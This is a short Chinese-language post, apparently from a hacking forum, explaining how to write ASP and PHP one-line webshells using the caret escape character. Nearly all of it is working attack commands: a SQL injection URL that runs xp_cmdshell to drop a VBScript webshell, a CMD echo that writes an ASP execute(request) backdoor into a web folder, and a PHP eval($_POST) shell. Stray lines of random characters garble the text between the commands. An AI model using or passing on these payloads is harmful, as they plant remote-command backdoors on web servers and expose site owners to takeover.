转义字符来写ASP(一句话木马)文件的方法

admin

用^转义字符来写ASP(一句话木马)文件的方法:

1.注入点后执行 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
- P% K! `5 r* `% D. D
8 D& @# b! t* G2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp
$ V+ ~2 t$ P2 F9 Q7 {) L- ^

  F; {4 p1 @% u5 o8 z+ aPHP
' L. }' X/ \3 `5 S, Oecho  ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php